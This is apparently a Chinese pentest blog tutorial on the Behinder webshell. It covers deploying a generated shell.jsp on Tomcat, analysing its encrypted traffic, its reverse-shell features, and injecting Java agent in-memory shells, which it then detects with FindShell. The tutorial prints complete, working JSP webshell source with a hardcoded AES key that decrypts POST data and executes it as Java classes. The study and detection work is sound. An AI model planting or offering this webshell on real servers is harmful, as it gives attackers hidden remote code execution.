32_behinder(冰蝎)

behinder(冰蝎)

一、冰蝎的连接

先打开冰蝎,注意jdk版本,可能会影响
32_behinder(冰蝎)_第1张图片
打开后界面如下
32_behinder(冰蝎)_第2张图片
点击传输协议,生成shell.jsp
32_behinder(冰蝎)_第3张图片
协议名称选择aes,里面有个key,需要用密码的md5值32位加密的前16位
我这里设置密码bihuo.cn,它的md5值32位加密的前16位为9da63beefb94c7d4

32_behinder(冰蝎)_第4张图片
下面的加密解密可以测试一下,看是否正常
然后点击下方保存
32_behinder(冰蝎)_第5张图片
保存之后,点击上方的生成服务端,会自动弹出shell.jsp存放的文件夹
里面就是生成的三种类型的内存马
32_behinder(冰蝎)_第6张图片
复制shell.jsp里面的内容,粘贴到IDEA里面
32_behinder(冰蝎)_第7张图片
然后启动运行tomcat服务器,访问shell.jsp32_behinder(冰蝎)_第8张图片
之后就是冰蝎连接获取webshell
冰蝎连接方式有两种,一种是密码连接
32_behinder(冰蝎)_第9张图片
另一种是自定义,使用default 配置下的用户名和密码
32_behinder(冰蝎)_第10张图片

32_behinder(冰蝎)_第11张图片
连接成功就是如下图的一些功能点界面
32_behinder(冰蝎)_第12张图片

二、冰蝎的流量分析

用burp抓取流量包分析冰蝎的流量
32_behinder(冰蝎)_第13张图片
32_behinder(冰蝎)_第14张图片
32_behinder(冰蝎)_第15张图片
32_behinder(冰蝎)_第16张图片
32_behinder(冰蝎)_第17张图片

修改shell.jsp
让解密后的结果输出到txt文件中

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/decode1.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>

32_behinder(冰蝎)_第18张图片
32_behinder(冰蝎)_第19张图片
开启调试,然后使用burp发包
就会看到,本地出现decode1.txt文件和decode2.txt文件

后缀改成.clss
然后使用jd-gui工具反编译成java文件
jd-gui工具打不开文件的话,随便找一个其它文件打开,也能查看反编译好的文件
32_behinder(冰蝎)_第20张图片
然后就是复制到IDEA里面
32_behinder(冰蝎)_第21张图片
32_behinder(冰蝎)_第22张图片
接下里的调试,就是新增一个main函数
IDEA里面输入psvm,可以快捷增加main函数
32_behinder(冰蝎)_第23张图片
32_behinder(冰蝎)_第24张图片

右键调试main函数
然后进入equals方法里面

public static void main(String[] args) {
    Qiaftpx qiaftpx = new Qiaftpx();
    qiaftpx.equals(1);
}

32_behinder(冰蝎)_第25张图片

public static void main(String[] args) {
    Fmulvhnsdr fmulvhnsdr = new Fmulvhnsdr();
    fmulvhnsdr.equals(1);
}

32_behinder(冰蝎)_第26张图片
我这里可能哪里有问题,没有彻底调试完成,后续成功弄出来再编辑这里吧

最后结果,behinder 握手包 2个
(1) 只返回success状态码
(2) 返回 相关的基础信息 服务器版本 操作系统版本 os版本 phpinfo 系统环境变量等

三、冰蝎的基本功能

连接上冰蝎之后,自己点点看就行

32_behinder(冰蝎)_第27张图片
32_behinder(冰蝎)_第28张图片
32_behinder(冰蝎)_第29张图片

四、冰蝎反弹shell

冰蝎支持三种形式的反弹shell,meterpreter、shell、cobalt strike
下面我只演示两个meterpreter、shell,cobalt strike还得部署一会,先pass
32_behinder(冰蝎)_第30张图片
32_behinder(冰蝎)_第31张图片
32_behinder(冰蝎)_第32张图片
32_behinder(冰蝎)_第33张图片
32_behinder(冰蝎)_第34张图片

五、java agent内存马

1. 理解java agent

参考文章理解java agent
https://blog.csdn.net/qq_45927266/article/details/124540920
32_behinder(冰蝎)_第35张图片

2. 使用java agent

冰蝎工具自带注入java agent内存马功能,右键注入内存马
32_behinder(冰蝎)_第36张图片
我们修改代理,抓包分析下
32_behinder(冰蝎)_第37张图片
32_behinder(冰蝎)_第38张图片
点击注入内存马之后,注入类型选择agent,路径点击默认的,然后修改文件名
我这里写的bihuo15.jsp
32_behinder(冰蝎)_第39张图片
我们可以看到有大量的请求包,我这里甚至的都没有放完
它这里实际上是通过截断成大量的请求包,最后拼接成内存马的代码
可能是防止被杀
32_behinder(冰蝎)_第40张图片
直接放完包之后,冰蝎上面多了一个通过内存马的连接
后面的状态是方框的话,就代表是内存马
左下角显示注入完成
32_behinder(冰蝎)_第41张图片
通过内存马点开连接之后,发现功能一样能使用
32_behinder(冰蝎)_第42张图片
并且未在主机,也就是服务器上发现bihuo15.jsp文件,没有发现内存马代码
看来是注入到了内存中
32_behinder(冰蝎)_第43张图片

3. 分析java agent

我们在shell.jsp的基础上加入一些代码
让它AES解密之后,将内容写入到agent.txt文件中
32_behinder(冰蝎)_第44张图片

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
  private byte[] Decrypt(byte[] data) throws Exception {
    String k = "9da63beefb94c7d4";
    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
    c.init(2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"));
    byte[] decodebs;
    Class baseCls;
    try {
      baseCls = Class.forName("java.util.Base64");
      Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
      decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
    } catch (Throwable e) {
      baseCls = Class.forName("sun.misc.BASE64Decoder");
      Object Decoder = baseCls.newInstance();
      decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

    }
    return c.doFinal(decodebs);

  }
%>
<%!
  class U extends ClassLoader {
    U(ClassLoader c) {
      super(c);
    }

    public Class g(byte[] b) {
      return
              super.defineClass(b, 0, b.length);
    }
  }
%><%
  if (request.getMethod().equals("POST")) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    byte[] buf = new byte[512];
    int length = request.getInputStream().read(buf);
    while (length > 0) {
      byte[] data = Arrays.copyOfRange(buf, 0, length);
      bos.write(data);
      length = request.getInputStream().read(buf);
    }
            /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容 ??
            out.clear();
            out=pageContext.pushBody();
            */
    out.clear();
    out = pageContext.pushBody();
    byte [] decryptBytes = Decrypt(bos.toByteArray());
    File file = new File("C:/agent.txt");
    FileOutputStream fileWriter = new FileOutputStream(file);
    fileWriter.write  (decryptBytes);
    fileWriter.close();
    new U(this.getClass().getClassLoader()).g(decryptBytes).newInstance().equals(pageContext);
  }
%>

然后开启调试,随便放一个流量包,就会发现多出agent.txt文件
32_behinder(冰蝎)_第45张图片
将后缀改成.class
32_behinder(冰蝎)_第46张图片
然后通过jd-gui反编译工具,将class文件反编译为java文件
有时候这个jd-gui工具无法打开文件,我们可以放一些其它的文件,例如我随便找的一个ArcTest.class文件,只要打开这个,agent.class也可以查看
32_behinder(冰蝎)_第47张图片
在这里插入图片描述

4. 内存马查杀(findshell工具)

上面我们说到,内存马bihuo15.jsp文件并没有在服务器找到
那么我们需要借助内存马查杀的工具去检测内存马

https://github.com/geekmc/FindShell
32_behinder(冰蝎)_第48张图片
打开工具
32_behinder(冰蝎)_第49张图片
使用方法github也写着

32_behinder(冰蝎)_第50张图片
32_behinder(冰蝎)_第51张图片

先通过jps命令找到目标JVM的pid
然后使用这个工具,加上–pid 目标JVM的PID
还要加上–debug参数,才可以生成文件分析

可以看到有很多PID,如果我们不知道哪个是目标JVM的pid,那就一个一个试
看哪个生成了文件

或者停止服务器,再使用jps命令,对比发现少了哪个PID,快速判断目标JVM的PID
32_behinder(冰蝎)_第52张图片
这里我都尝试过,这个Bootstarp就是目标JVM
成功生成out目录
32_behinder(冰蝎)_第53张图片

使用IDEA打开out目录,里面就是java agent内存马
全部分析太麻烦

这里只需要找到两个东西

一个是java agent内存马绑定的访问路径
32_behinder(冰蝎)_第54张图片
另一个是AES解密的key
32_behinder(冰蝎)_第55张图片

5. 冰蝎 java agent防检测

注入java agent内存马的时候
下面有个防检测功能

我们重新注入一下,并且将out目录删除掉
32_behinder(冰蝎)_第56张图片
32_behinder(冰蝎)_第57张图片

然后我们再次使用findshell工具检测java agent内存马,发现还是生成了out目录
防检测功能未生效,这里可能是软件功能没制作好,或者可能是只能防止部分软件检测,而恰好findshell不能防

了解一下有这个功能点就行

32_behinder(冰蝎)_第58张图片

你可能感兴趣的:(渗透测试总结,java,servlet,maven)